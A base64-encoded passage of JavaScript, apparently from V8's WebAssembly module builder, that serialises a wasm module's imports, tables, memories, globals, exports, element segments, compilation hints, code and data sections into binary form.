Z3RoKTsKICAgICAgICBmb3IgKGxldCBpbXAgb2Ygd2FzbS5pbXBvcnRzKSB7CiAgICAgICAgICBz
ZWN0aW9uLmVtaXRfc3RyaW5nKGltcC5tb2R1bGUpOwogICAgICAgICAgc2VjdGlvbi5lbWl0X3N0
cmluZyhpbXAubmFtZSB8fCAnJyk7CiAgICAgICAgICBzZWN0aW9uLmVtaXRfdTgoaW1wLmtpbmQp
OwogICAgICAgICAgaWYgKGltcC5raW5kID09IGtFeHRlcm5hbEZ1bmN0aW9uKSB7CiAgICAgICAg
ICAgIHNlY3Rpb24uZW1pdF91MzJ2KGltcC50eXBlX2luZGV4KTsKICAgICAgICAgIH0gZWxzZSBp
ZiAoaW1wLmtpbmQgPT0ga0V4dGVybmFsR2xvYmFsKSB7CiAgICAgICAgICAgIHNlY3Rpb24uZW1p
dF90eXBlKGltcC50eXBlKTsKICAgICAgICAgICAgbGV0IGZsYWdzID0gKGltcC5tdXRhYmxlID8g
MSA6IDApIHwgKGltcC5zaGFyZWQgPyAwYjEwIDogMCk7CiAgICAgICAgICAgIHNlY3Rpb24uZW1p
dF91OChmbGFncyk7CiAgICAgICAgICB9IGVsc2UgaWYgKGltcC5raW5kID09IGtFeHRlcm5hbE1l
bW9yeSkgewogICAgICAgICAgICBjb25zdCBoYXNfbWF4ID0gaW1wLm1heGltdW0gIT09IHVuZGVm
aW5lZDsKICAgICAgICAgICAgY29uc3QgaXNfc2hhcmVkID0gISFpbXAuc2hhcmVkOwogICAgICAg
ICAgICBjb25zdCBpc19tZW1vcnk2NCA9ICEhaW1wLmlzX21lbW9yeTY0OwogICAgICAgICAgICBs
ZXQgbGltaXRzX2J5dGUgPQogICAgICAgICAgICAgICAgKGlzX21lbW9yeTY0ID8gNCA6IDApIHwg
KGlzX3NoYXJlZCA/IDIgOiAwKSB8IChoYXNfbWF4ID8gMSA6IDApOwogICAgICAgICAgICBzZWN0
aW9uLmVtaXRfdTgobGltaXRzX2J5dGUpOwogICAgICAgICAgICBsZXQgZW1pdCA9IHZhbCA9Pgog
ICAgICAgICAgICAgICAgaXNfbWVtb3J5NjQgPyBzZWN0aW9uLmVtaXRfdTY0dih2YWwpIDogc2Vj
dGlvbi5lbWl0X3UzMnYodmFsKTsKICAgICAgICAgICAgZW1pdChpbXAuaW5pdGlhbCk7CiAgICAg
ICAgICAgIGlmIChoYXNfbWF4KSBlbWl0KGltcC5tYXhpbXVtKTsKICAgICAgICAgIH0gZWxzZSBp
ZiAoaW1wLmtpbmQgPT0ga0V4dGVybmFsVGFibGUpIHsKICAgICAgICAgICAgc2VjdGlvbi5lbWl0
X3R5cGUoaW1wLnR5cGUpOwogICAgICAgICAgICBjb25zdCBoYXNfbWF4ID0gKHR5cGVvZiBpbXAu
bWF4aW11bSkgIT0gJ3VuZGVmaW5lZCc7CiAgICAgICAgICAgIC8vIFRPRE8obWFub3Nrb3VrKTog
U3RvcmUgc2hhcmVkbmVzcyBhcyBhIHByb3BlcnR5LgogICAgICAgICAgICBjb25zdCBpc19zaGFy
ZWQgPSBmYWxzZQogICAgICAgICAgICBjb25zdCBpc190YWJsZTY0ID0gISFpbXAuaXNfdGFibGU2
NDsKICAgICAgICAgICAgbGV0IGxpbWl0c19ieXRlID0KICAgICAgICAgICAgICAgIChpc190YWJs
ZTY0ID8gNCA6IDApIHwgKGlzX3NoYXJlZCA/IDIgOiAwKSB8IChoYXNfbWF4ID8gMSA6IDApOwog
ICAgICAgICAgICBzZWN0aW9uLmVtaXRfdTgobGltaXRzX2J5dGUpOyAgICAgICAgICAgICAgICAg
Ly8gZmxhZ3MKICAgICAgICAgICAgc2VjdGlvbi5lbWl0X3UzMnYoaW1wLmluaXRpYWwpOyAgICAg
ICAgICAgICAgIC8vIGluaXRpYWwKICAgICAgICAgICAgaWYgKGhhc19tYXgpIHNlY3Rpb24uZW1p
dF91MzJ2KGltcC5tYXhpbXVtKTsgIC8vIG1heGltdW0KICAgICAgICAgIH0gZWxzZSBpZiAoaW1w
LmtpbmQgPT0ga0V4dGVybmFsVGFnKSB7CiAgICAgICAgICAgIHNlY3Rpb24uZW1pdF91MzJ2KGtF
eGNlcHRpb25BdHRyaWJ1dGUpOwogICAgICAgICAgICBzZWN0aW9uLmVtaXRfdTMydihpbXAudHlw
ZV9pbmRleCk7CiAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICB0aHJvdyBuZXcgRXJyb3Io
J3Vua25vd24vdW5zdXBwb3J0ZWQgaW1wb3J0IGtpbmQgJyArIGltcC5raW5kKTsKICAgICAgICAg
IH0KICAgICAgICB9CiAgICAgIH0pOwogICAgfQoKICAgIC8vIEFkZCBmdW5jdGlvbnMgZGVjbGFy
YXRpb25zLgogICAgaWYgKHdhc20uZnVuY3Rpb25zLmxlbmd0aCA+IDApIHsKICAgICAgaWYgKGRl
YnVnKSBwcmludCgnZW1pdHRpbmcgZnVuY3Rpb24gZGVjbHMgQCAnICsgYmluYXJ5Lmxlbmd0aCk7
CiAgICAgIGJpbmFyeS5lbWl0X3NlY3Rpb24oa0Z1bmN0aW9uU2VjdGlvbkNvZGUsIHNlY3Rpb24g
PT4gewogICAgICAgIHNlY3Rpb24uZW1pdF91MzJ2KHdhc20uZnVuY3Rpb25zLmxlbmd0aCk7CiAg
ICAgICAgZm9yIChsZXQgZnVuYyBvZiB3YXNtLmZ1bmN0aW9ucykgewogICAgICAgICAgc2VjdGlv
bi5lbWl0X3UzMnYoZnVuYy50eXBlX2luZGV4KTsKICAgICAgICB9CiAgICAgIH0pOwogICAgfQoK
ICAgIC8vIEFkZCB0YWJsZSBzZWN0aW9uLgogICAgaWYgKHdhc20udGFibGVzLmxlbmd0aCA+IDAp
IHsKICAgICAgaWYgKGRlYnVnKSBwcmludCgnZW1pdHRpbmcgdGFibGVzIEAgJyArIGJpbmFyeS5s
ZW5ndGgpOwogICAgICBiaW5hcnkuZW1pdF9zZWN0aW9uKGtUYWJsZVNlY3Rpb25Db2RlLCBzZWN0
aW9uID0+IHsKICAgICAgICBzZWN0aW9uLmVtaXRfdTMydih3YXNtLnRhYmxlcy5sZW5ndGgpOwog
ICAgICAgIGZvciAobGV0IHRhYmxlIG9mIHdhc20udGFibGVzKSB7CiAgICAgICAgICBpZiAodGFi
bGUuaGFzX2luaXQpIHsKICAgICAgICAgICAgc2VjdGlvbi5lbWl0X3U4KDB4NDApOyAgLy8gImhh
cyBpbml0aWFsaXplciIKICAgICAgICAgICAgc2VjdGlvbi5lbWl0X3U4KDB4MDApOyAgLy8gUmVz
ZXJ2ZWQgYnl0ZS4KICAgICAgICAgIH0KICAgICAgICAgIHNlY3Rpb24uZW1pdF90eXBlKHRhYmxl
LnR5cGUpOwogICAgICAgICAgbGV0IGxpbWl0c19ieXRlID0gKHRhYmxlLmlzX3RhYmxlNjQgPyA0
IDogMCkgfAogICAgICAgICAgICAgICh0YWJsZS5pc19zaGFyZWQgPyAyIDogMCkgfCAodGFibGUu
aGFzX21heCA/IDEgOiAwKTsKICAgICAgICAgIHNlY3Rpb24uZW1pdF91OChsaW1pdHNfYnl0ZSk7
CiAgICAgICAgICBsZXQgZW1pdCA9IHZhbCA9PiB0YWJsZS5pc190YWJsZTY0ID8gc2VjdGlvbi5l
bWl0X3U2NHYodmFsKSA6CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgc2VjdGlvbi5lbWl0X3UzMnYodmFsKTsKICAgICAgICAgIGVtaXQodGFibGUuaW5pdGlh
bF9zaXplKTsKICAgICAgICAgIGlmICh0YWJsZS5oYXNfbWF4KSBlbWl0KHRhYmxlLm1heF9zaXpl
KTsKICAgICAgICAgIGlmICh0YWJsZS5oYXNfaW5pdCkgc2VjdGlvbi5lbWl0X2luaXRfZXhwcih0
YWJsZS5pbml0X2V4cHIpOwogICAgICAgIH0KICAgICAgfSk7CiAgICB9CgogICAgLy8gQWRkIG1l
bW9yeSBzZWN0aW9uLgogICAgaWYgKHdhc20ubWVtb3JpZXMubGVuZ3RoID4gMCkgewogICAgICBp
ZiAoZGVidWcpIHByaW50KCdlbWl0dGluZyBtZW1vcmllcyBAICcgKyBiaW5hcnkubGVuZ3RoKTsK
ICAgICAgYmluYXJ5LmVtaXRfc2VjdGlvbihrTWVtb3J5U2VjdGlvbkNvZGUsIHNlY3Rpb24gPT4g
ewogICAgICAgIHNlY3Rpb24uZW1pdF91MzJ2KHdhc20ubWVtb3JpZXMubGVuZ3RoKTsKICAgICAg
ICBmb3IgKGxldCBtZW1vcnkgb2Ygd2FzbS5tZW1vcmllcykgewogICAgICAgICAgY29uc3QgaGFz
X21heCA9IG1lbW9yeS5tYXggIT09IHVuZGVmaW5lZDsKICAgICAgICAgIGNvbnN0IGlzX3NoYXJl
ZCA9ICEhbWVtb3J5LnNoYXJlZDsKICAgICAgICAgIGNvbnN0IGlzX21lbW9yeTY0ID0gISFtZW1v
cnkuaXNfbWVtb3J5NjQ7CiAgICAgICAgICBsZXQgbGltaXRzX2J5dGUgPQogICAgICAgICAgICAg
IChpc19tZW1vcnk2NCA/IDQgOiAwKSB8IChpc19zaGFyZWQgPyAyIDogMCkgfCAoaGFzX21heCA/
IDEgOiAwKTsKICAgICAgICAgIHNlY3Rpb24uZW1pdF91OChsaW1pdHNfYnl0ZSk7CiAgICAgICAg
ICBsZXQgZW1pdCA9IHZhbCA9PgogICAgICAgICAgICAgIGlzX21lbW9yeTY0ID8gc2VjdGlvbi5l
bWl0X3U2NHYodmFsKSA6IHNlY3Rpb24uZW1pdF91MzJ2KHZhbCk7CiAgICAgICAgICBlbWl0KG1l
bW9yeS5taW4pOwogICAgICAgICAgaWYgKGhhc19tYXgpIGVtaXQobWVtb3J5Lm1heCk7CiAgICAg
ICAgfQogICAgICB9KTsKICAgIH0KCiAgICAvLyBBZGQgdGFnIHNlY3Rpb24uCiAgICBpZiAod2Fz
bS50YWdzLmxlbmd0aCA+IDApIHsKICAgICAgaWYgKGRlYnVnKSBwcmludCgnZW1pdHRpbmcgdGFn
cyBAICcgKyBiaW5hcnkubGVuZ3RoKTsKICAgICAgYmluYXJ5LmVtaXRfc2VjdGlvbihrVGFnU2Vj
dGlvbkNvZGUsIHNlY3Rpb24gPT4gewogICAgICAgIHNlY3Rpb24uZW1pdF91MzJ2KHdhc20udGFn
cy5sZW5ndGgpOwogICAgICAgIGZvciAobGV0IHR5cGVfaW5kZXggb2Ygd2FzbS50YWdzKSB7CiAg
ICAgICAgICBzZWN0aW9uLmVtaXRfdTMydihrRXhjZXB0aW9uQXR0cmlidXRlKTsKICAgICAgICAg
IHNlY3Rpb24uZW1pdF91MzJ2KHR5cGVfaW5kZXgpOwogICAgICAgIH0KICAgICAgfSk7CiAgICB9
CgogICAgLy8gQWRkIHN0cmluZ3JlZiBzZWN0aW9uLgogICAgaWYgKHdhc20uc3RyaW5ncmVmcy5s
ZW5ndGggPiAwKSB7CiAgICAgIGlmIChkZWJ1ZykgcHJpbnQoJ2VtaXR0aW5nIHN0cmluZ3JlZnMg
QCAnICsgYmluYXJ5Lmxlbmd0aCk7CiAgICAgIGJpbmFyeS5lbWl0X3NlY3Rpb24oa1N0cmluZ1Jl
ZlNlY3Rpb25Db2RlLCBzZWN0aW9uID0+IHsKICAgICAgICBzZWN0aW9uLmVtaXRfdTMydigwKTsK
ICAgICAgICBzZWN0aW9uLmVtaXRfdTMydih3YXNtLnN0cmluZ3JlZnMubGVuZ3RoKTsKICAgICAg
ICBmb3IgKGxldCBzdHIgb2Ygd2FzbS5zdHJpbmdyZWZzKSB7CiAgICAgICAgICBzZWN0aW9uLmVt
aXRfc3RyaW5nKHN0cik7CiAgICAgICAgfQogICAgICB9KTsKICAgIH0KCiAgICAvLyBBZGQgZ2xv
YmFsIHNlY3Rpb24uCiAgICBpZiAod2FzbS5nbG9iYWxzLmxlbmd0aCA+IDApIHsKICAgICAgaWYg
KGRlYnVnKSBwcmludCgnZW1pdHRpbmcgZ2xvYmFscyBAICcgKyBiaW5hcnkubGVuZ3RoKTsKICAg
ICAgYmluYXJ5LmVtaXRfc2VjdGlvbihrR2xvYmFsU2VjdGlvbkNvZGUsIHNlY3Rpb24gPT4gewog
ICAgICAgIHNlY3Rpb24uZW1pdF91MzJ2KHdhc20uZ2xvYmFscy5sZW5ndGgpOwogICAgICAgIGZv
ciAobGV0IGdsb2JhbCBvZiB3YXNtLmdsb2JhbHMpIHsKICAgICAgICAgIHNlY3Rpb24uZW1pdF90
eXBlKGdsb2JhbC50eXBlKTsKICAgICAgICAgIHNlY3Rpb24uZW1pdF91OCgoZ2xvYmFsLm11dGFi
bGUgPyAxIDogMCkgfCAoZ2xvYmFsLnNoYXJlZCA/IDBiMTAgOiAwKSk7CiAgICAgICAgICBzZWN0
aW9uLmVtaXRfaW5pdF9leHByKGdsb2JhbC5pbml0KTsKICAgICAgICB9CiAgICAgIH0pOwogICAg
fQoKICAgIC8vIEFkZCBleHBvcnQgdGFibGUuCiAgICB2YXIgZXhwb3J0c19jb3VudCA9IHdhc20u
ZXhwb3J0cy5sZW5ndGg7CiAgICBpZiAoZXhwb3J0c19jb3VudCA+IDApIHsKICAgICAgaWYgKGRl
YnVnKSBwcmludCgnZW1pdHRpbmcgZXhwb3J0cyBAICcgKyBiaW5hcnkubGVuZ3RoKTsKICAgICAg
YmluYXJ5LmVtaXRfc2VjdGlvbihrRXhwb3J0U2VjdGlvbkNvZGUsIHNlY3Rpb24gPT4gewogICAg
ICAgIHNlY3Rpb24uZW1pdF91MzJ2KGV4cG9ydHNfY291bnQpOwogICAgICAgIGZvciAobGV0IGV4
cCBvZiB3YXNtLmV4cG9ydHMpIHsKICAgICAgICAgIHNlY3Rpb24uZW1pdF9zdHJpbmcoZXhwLm5h
bWUpOwogICAgICAgICAgc2VjdGlvbi5lbWl0X3U4KGV4cC5raW5kKTsKICAgICAgICAgIHNlY3Rp
b24uZW1pdF91MzJ2KGV4cC5pbmRleCk7CiAgICAgICAgfQogICAgICB9KTsKICAgIH0KCiAgICAv
LyBBZGQgc3RhcnQgZnVuY3Rpb24gc2VjdGlvbi4KICAgIGlmICh3YXNtLnN0YXJ0X2luZGV4ICE9
PSB1bmRlZmluZWQpIHsKICAgICAgaWYgKGRlYnVnKSBwcmludCgnZW1pdHRpbmcgc3RhcnQgZnVu
Y3Rpb24gQCAnICsgYmluYXJ5Lmxlbmd0aCk7CiAgICAgIGJpbmFyeS5lbWl0X3NlY3Rpb24oa1N0
YXJ0U2VjdGlvbkNvZGUsIHNlY3Rpb24gPT4gewogICAgICAgIHNlY3Rpb24uZW1pdF91MzJ2KHdh
c20uc3RhcnRfaW5kZXgpOwogICAgICB9KTsKICAgIH0KCiAgICAvLyBBZGQgZWxlbWVudCBzZWdt
ZW50cy4KICAgIGlmICh3YXNtLmVsZW1lbnRfc2VnbWVudHMubGVuZ3RoID4gMCkgewogICAgICBp
ZiAoZGVidWcpIHByaW50KCdlbWl0dGluZyBlbGVtZW50IHNlZ21lbnRzIEAgJyArIGJpbmFyeS5s
ZW5ndGgpOwogICAgICBiaW5hcnkuZW1pdF9zZWN0aW9uKGtFbGVtZW50U2VjdGlvbkNvZGUsIHNl
Y3Rpb24gPT4gewogICAgICAgIHZhciBzZWdtZW50cyA9IHdhc20uZWxlbWVudF9zZWdtZW50czsK
ICAgICAgICBzZWN0aW9uLmVtaXRfdTMydihzZWdtZW50cy5sZW5ndGgpOwoKICAgICAgICBmb3Ig
KGxldCBzZWdtZW50IG9mIHNlZ21lbnRzKSB7CiAgICAgICAgICAvLyBFbWl0IGZsYWcgYW5kIGhl
YWRlci4KICAgICAgICAgIC8vIEVhY2ggY2FzZSBiZWxvdyBjb3JyZXNwb25kcyB0byBhIGZsYWcg
ZnJvbQogICAgICAgICAgLy8gaHR0cHM6Ly93ZWJhc3NlbWJseS5naXRodWIuaW8vc3BlYy9jb3Jl
L2JpbmFyeS9tb2R1bGVzLmh0bWwjZWxlbWVudC1zZWN0aW9uCiAgICAgICAgICAvLyAobm90IGlu
IGluY3JlYXNpbmcgb3JkZXIpLgogICAgICAgICAgbGV0IHNoYXJlZF9mbGFnID0gc2VnbWVudC5p
c19zaGFyZWQgPyAwYjEwMDAgOiAwOwogICAgICAgICAgaWYgKHNlZ21lbnQuaXNfYWN0aXZlKCkp
IHsKICAgICAgICAgICAgaWYgKHNlZ21lbnQudGFibGUgPT0gMCAmJiBzZWdtZW50LnR5cGUgPT09
IHVuZGVmaW5lZCkgewogICAgICAgICAgICAgIGlmIChzZWdtZW50LmV4cHJlc3Npb25zX2FzX2Vs
ZW1lbnRzKCkpIHsKICAgICAgICAgICAgICAgIHNlY3Rpb24uZW1pdF91OCgweDA0IHwgc2hhcmVk
X2ZsYWcpOwogICAgICAgICAgICAgICAgc2VjdGlvbi5lbWl0X2luaXRfZXhwcihzZWdtZW50Lm9m
ZnNldCk7CiAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgIHNlY3Rpb24uZW1p
dF91OCgweDAwIHwgc2hhcmVkX2ZsYWcpCiAgICAgICAgICAgICAgICBzZWN0aW9uLmVtaXRfaW5p
dF9leHByKHNlZ21lbnQub2Zmc2V0KTsKICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0gZWxz
ZSB7CiAgICAgICAgICAgICAgaWYgKHNlZ21lbnQuZXhwcmVzc2lvbnNfYXNfZWxlbWVudHMoKSkg
ewogICAgICAgICAgICAgICAgc2VjdGlvbi5lbWl0X3U4KDB4MDYgfCBzaGFyZWRfZmxhZyk7CiAg
ICAgICAgICAgICAgICBzZWN0aW9uLmVtaXRfdTMydihzZWdtZW50LnRhYmxlKTsKICAgICAgICAg
ICAgICAgIHNlY3Rpb24uZW1pdF9pbml0X2V4cHIoc2VnbWVudC5vZmZzZXQpOwogICAgICAgICAg
ICAgICAgc2VjdGlvbi5lbWl0X3R5cGUoc2VnbWVudC50eXBlKTsKICAgICAgICAgICAgICB9IGVs
c2UgewogICAgICAgICAgICAgICAgc2VjdGlvbi5lbWl0X3U4KDB4MDIgfCBzaGFyZWRfZmxhZyk7
CiAgICAgICAgICAgICAgICBzZWN0aW9uLmVtaXRfdTMydihzZWdtZW50LnRhYmxlKTsKICAgICAg
ICAgICAgICAgIHNlY3Rpb24uZW1pdF9pbml0X2V4cHIoc2VnbWVudC5vZmZzZXQpOwogICAgICAg
ICAgICAgICAgc2VjdGlvbi5lbWl0X3U4KGtFeHRlcm5hbEZ1bmN0aW9uKTsKICAgICAgICAgICAg
ICB9CiAgICAgICAgICAgIH0KICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIGlmIChzZWdt
ZW50LmV4cHJlc3Npb25zX2FzX2VsZW1lbnRzKCkpIHsKICAgICAgICAgICAgICBpZiAoc2VnbWVu
dC5pc19wYXNzaXZlKCkpIHsKICAgICAgICAgICAgICAgIHNlY3Rpb24uZW1pdF91OCgweDA1IHwg
c2hhcmVkX2ZsYWcpOwogICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICBzZWN0
aW9uLmVtaXRfdTgoMHgwNyB8IHNoYXJlZF9mbGFnKTsKICAgICAgICAgICAgICB9CiAgICAgICAg
ICAgICAgc2VjdGlvbi5lbWl0X3R5cGUoc2VnbWVudC50eXBlKTsKICAgICAgICAgICAgfSBlbHNl
IHsKICAgICAgICAgICAgICBpZiAoc2VnbWVudC5pc19wYXNzaXZlKCkpIHsKICAgICAgICAgICAg
ICAgIHNlY3Rpb24uZW1pdF91OCgweDAxIHwgc2hhcmVkX2ZsYWcpOwogICAgICAgICAgICAgIH0g
ZWxzZSB7CiAgICAgICAgICAgICAgICBzZWN0aW9uLmVtaXRfdTgoMHgwMyB8IHNoYXJlZF9mbGFn
KTsKICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgc2VjdGlvbi5lbWl0X3U4KGtFeHRlcm5h
bEZ1bmN0aW9uKTsKICAgICAgICAgICAgfQogICAgICAgICAgfQoKICAgICAgICAgIC8vIEVtaXQg
ZWxlbWVudHMuCiAgICAgICAgICBzZWN0aW9uLmVtaXRfdTMydihzZWdtZW50LmVsZW1lbnRzLmxl
bmd0aCk7CiAgICAgICAgICBmb3IgKGxldCBlbGVtZW50IG9mIHNlZ21lbnQuZWxlbWVudHMpIHsK
ICAgICAgICAgICAgaWYgKHNlZ21lbnQuZXhwcmVzc2lvbnNfYXNfZWxlbWVudHMoKSkgewogICAg
ICAgICAgICAgIHNlY3Rpb24uZW1pdF9pbml0X2V4cHIoZWxlbWVudCk7CiAgICAgICAgICAgIH0g
ZWxzZSB7CiAgICAgICAgICAgICAgc2VjdGlvbi5lbWl0X3UzMnYoZWxlbWVudCk7CiAgICAgICAg
ICAgIH0KICAgICAgICAgIH0KICAgICAgICB9CiAgICAgIH0pCiAgICB9CgogICAgLy8gSWYgdGhl
cmUgYXJlIGFueSBwYXNzaXZlIGRhdGEgc2VnbWVudHMsIGFkZCB0aGUgRGF0YUNvdW50IHNlY3Rp
b24uCiAgICBpZiAod2FzbS5kYXRhX3NlZ21lbnRzLnNvbWUoc2VnID0+ICFzZWcuaXNfYWN0aXZl
KSkgewogICAgICBiaW5hcnkuZW1pdF9zZWN0aW9uKGtEYXRhQ291bnRTZWN0aW9uQ29kZSwgc2Vj
dGlvbiA9PiB7CiAgICAgICAgc2VjdGlvbi5lbWl0X3UzMnYod2FzbS5kYXRhX3NlZ21lbnRzLmxl
bmd0aCk7CiAgICAgIH0pOwogICAgfQoKICAgIC8vIElmIHRoZXJlIGFyZSBjb21waWxhdGlvbiBo
aW50cyBhZGQgYSBjdXN0b20gc2VjdGlvbiAnY29tcGlsYXRpb25IaW50cycKICAgIC8vIGFmdGVy
IHRoZSBmdW5jdGlvbiBzZWN0aW9uIGFuZCBiZWZvcmUgdGhlIGNvZGUgc2VjdGlvbi4KICAgIGlm
ICh3YXNtLmNvbXBpbGF0aW9uX2hpbnRzLmxlbmd0aCA+IDApIHsKICAgICAgaWYgKGRlYnVnKSBw
cmludCgnZW1pdHRpbmcgY29tcGlsYXRpb24gaGludHMgQCAnICsgYmluYXJ5Lmxlbmd0aCk7CiAg
ICAgIC8vIEJ1aWxkIGN1c3RvbSBzZWN0aW9uIHBheWxvYWQuCiAgICAgIGxldCBwYXlsb2FkQmlu
YXJ5ID0gbmV3IEJpbmFyeSgpOwogICAgICBsZXQgaW1wbGljaXRfY29tcGlsYXRpb25faGludHNf
Y291bnQgPSB3YXNtLmZ1bmN0aW9ucy5sZW5ndGg7CiAgICAgIHBheWxvYWRCaW5hcnkuZW1pdF91
MzJ2KGltcGxpY2l0X2NvbXBpbGF0aW9uX2hpbnRzX2NvdW50KTsKCiAgICAgIC8vIERlZmF1bHRz
IHRvIHRoZSBjb21waWxlcidzIGNob2ljZSBpZiBubyBiZXR0ZXIgaGludCB3YXMgZ2l2ZW4gKDB4
MDApLgogICAgICBsZXQgZGVmYXVsdEhpbnRCeXRlID0ga0NvbXBpbGF0aW9uSGludFN0cmF0ZWd5
RGVmYXVsdCB8CiAgICAgICAgICAoa0NvbXBpbGF0aW9uSGludFRpZXJEZWZhdWx0IDw8IDIpIHwK
ICAgICAgICAgIChrQ29tcGlsYXRpb25IaW50VGllckRlZmF1bHQgPDwgNCk7CgogICAgICAvLyBF
bWl0IGhpbnQgYnl0ZSBmb3IgZXZlcnkgZnVuY3Rpb24gZGVmaW5lZCBpbiB0aGlzIG1vZHVsZS4K
ICAgICAgZm9yIChsZXQgaSA9IDA7IGkgPCBpbXBsaWNpdF9jb21waWxhdGlvbl9oaW50c19jb3Vu
dDsgaSsrKSB7CiAgICAgICAgbGV0IGluZGV4ID0gd2FzbS5udW1faW1wb3J0ZWRfZnVuY3MgKyBp
OwogICAgICAgIHZhciBoaW50Qnl0ZTsKICAgICAgICBpZiAoaW5kZXggaW4gd2FzbS5jb21waWxh
dGlvbl9oaW50cykgewogICAgICAgICAgbGV0IGhpbnQgPSB3YXNtLmNvbXBpbGF0aW9uX2hpbnRz
W2luZGV4XTsKICAgICAgICAgIGhpbnRCeXRlID0KICAgICAgICAgICAgICBoaW50LnN0cmF0ZWd5
IHwgKGhpbnQuYmFzZWxpbmVUaWVyIDw8IDIpIHwgKGhpbnQudG9wVGllciA8PCA0KTsKICAgICAg
ICB9IGVsc2UgewogICAgICAgICAgaGludEJ5dGUgPSBkZWZhdWx0SGludEJ5dGU7CiAgICAgICAg
fQogICAgICAgIHBheWxvYWRCaW5hcnkuZW1pdF91OChoaW50Qnl0ZSk7CiAgICAgIH0KCiAgICAg
IC8vIEZpbmFsaXplIGFzIGN1c3RvbSBzZWN0aW9uLgogICAgICBsZXQgbmFtZSA9ICdjb21waWxh
dGlvbkhpbnRzJzsKICAgICAgbGV0IGJ5dGVzID0gdGhpcy5jcmVhdGVDdXN0b21TZWN0aW9uKG5h
bWUsIHBheWxvYWRCaW5hcnkudHJ1bmNfYnVmZmVyKCkpOwogICAgICBiaW5hcnkuZW1pdF9ieXRl
cyhieXRlcyk7CiAgICB9CgogICAgLy8gQWRkIGZ1bmN0aW9uIGJvZGllcy4KICAgIGlmICh3YXNt
LmZ1bmN0aW9ucy5sZW5ndGggPiAwKSB7CiAgICAgIC8vIGVtaXQgZnVuY3Rpb24gYm9kaWVzCiAg
ICAgIGlmIChkZWJ1ZykgcHJpbnQoJ2VtaXR0aW5nIGNvZGUgQCAnICsgYmluYXJ5Lmxlbmd0aCk7
CiAgICAgIGxldCBzZWN0aW9uX2xlbmd0aCA9IDA7CiAgICAgIGJpbmFyeS5lbWl0X3NlY3Rpb24o
a0NvZGVTZWN0aW9uQ29kZSwgc2VjdGlvbiA9PiB7CiAgICAgICAgc2VjdGlvbi5lbWl0X3UzMnYo
d2FzbS5mdW5jdGlvbnMubGVuZ3RoKTsKICAgICAgICBsZXQgaGVhZGVyOwogICAgICAgIGZvciAo
bGV0IGZ1bmMgb2Ygd2FzbS5mdW5jdGlvbnMpIHsKICAgICAgICAgIGlmIChmdW5jLmxvY2Fscy5s
ZW5ndGggPT0gMCkgewogICAgICAgICAgICAvLyBGYXN0IHBhdGggZm9yIGZ1bmN0aW9ucyB3aXRo
b3V0IGxvY2Fscy4KICAgICAgICAgICAgc2VjdGlvbi5lbWl0X3UzMnYoZnVuYy5ib2R5Lmxlbmd0
aCArIDEpOwogICAgICAgICAgICBzZWN0aW9uLmVtaXRfdTgoMCk7ICAvLyAwIGxvY2Fscy4KICAg
ICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIC8vIEJ1aWxkIHRoZSBsb2NhbHMgZGVjbGFyYXRp
b25zIGluIHNlcGFyYXRlIGJ1ZmZlciBmaXJzdC4KICAgICAgICAgICAgaWYgKCFoZWFkZXIpIGhl
YWRlciA9IG5ldyBCaW5hcnk7CiAgICAgICAgICAgIGhlYWRlci5yZXNldCgpOwogICAgICAgICAg
ICBoZWFkZXIuZW1pdF91MzJ2KGZ1bmMubG9jYWxzLmxlbmd0aCk7CiAgICAgICAgICAgIGZvciAo
bGV0IGRlY2wgb2YgZnVuYy5sb2NhbHMpIHsKICAgICAgICAgICAgICBoZWFkZXIuZW1pdF91MzJ2
KGRlY2wuY291bnQpOwogICAgICAgICAgICAgIGhlYWRlci5lbWl0X3R5cGUoZGVjbC50eXBlKTsK
ICAgICAgICAgICAgfQogICAgICAgICAgICBzZWN0aW9uLmVtaXRfdTMydihoZWFkZXIubGVuZ3Ro
ICsgZnVuYy5ib2R5Lmxlbmd0aCk7CiAgICAgICAgICAgIHNlY3Rpb24uZW1pdF9ieXRlcyhoZWFk
ZXIudHJ1bmNfYnVmZmVyKCkpOwogICAgICAgICAgfQogICAgICAgICAgLy8gU2V0IHRvIHNlY3Rp
b24gb2Zmc2V0IGZvciBub3csIHdpbGwgdXBkYXRlLgogICAgICAgICAgZnVuYy5ib2R5X29mZnNl
dCA9IHNlY3Rpb24ubGVuZ3RoOwogICAgICAgICAgc2VjdGlvbi5lbWl0X2J5dGVzKGZ1bmMuYm9k
eSk7CiAgICAgICAgfQogICAgICAgIHNlY3Rpb25fbGVuZ3RoID0gc2VjdGlvbi5sZW5ndGg7CiAg
ICAgIH0pOwogICAgICBmb3IgKGxldCBmdW5jIG9mIHdhc20uZnVuY3Rpb25zKSB7CiAgICAgICAg
ZnVuYy5ib2R5X29mZnNldCArPSBiaW5hcnkubGVuZ3RoIC0gc2VjdGlvbl9sZW5ndGg7CiAgICAg
IH0KICAgIH0KCiAgICAvLyBBZGQgZGF0YSBzZWdtZW50cy4KICAgIGlmICh3YXNtLmRhdGFfc2Vn
bWVudHMubGVuZ3RoID4gMCkgewogICAgICBpZiAoZGVidWcpIHByaW50KCdlbWl0dGluZyBkYXRh
IHNlZ21lbnRzIEAgJyArIGJpbmFyeS5sZW5ndGgpOwogICAgICBiaW5hcnkuZW1pdF9zZWN0aW9u
KGtEYXRhU2VjdGlvbkNvZGUsIHNlY3Rpb24gPT4gewogICAgICAgIHNlY3Rpb24uZW1pdF91MzJ2
KHdhc20uZGF0YV9zZWdtZW50cy5sZW5ndGgpOwogICAgICAgIGZvciAobGV0IHNlZyBvZiB3YXNt
LmRhdGFfc2VnbWVudHMpIHsKICAgICAgICAgIGxldCBzaGFyZWRfZmxhZyA9IHNlZy5pc19zaGFy
ZWQgPyAwYjEwMDAgOiAwOwogICAgICAgICAgaWYgKHNlZy5pc19hY3RpdmUpIHsKICAgICAgICAg
ICAgaWYgKHNlZy5tZW1faW5kZXggPT0gMCkgewogICAgICAgICAgICAgIHNlY3Rpb24uZW1pdF91
OChrQWN0aXZlTm9JbmRleCB8IHNoYXJlZF9mbGFnKTsKICAgICAgICAgICAgfSBlbHNlIHsKICAg
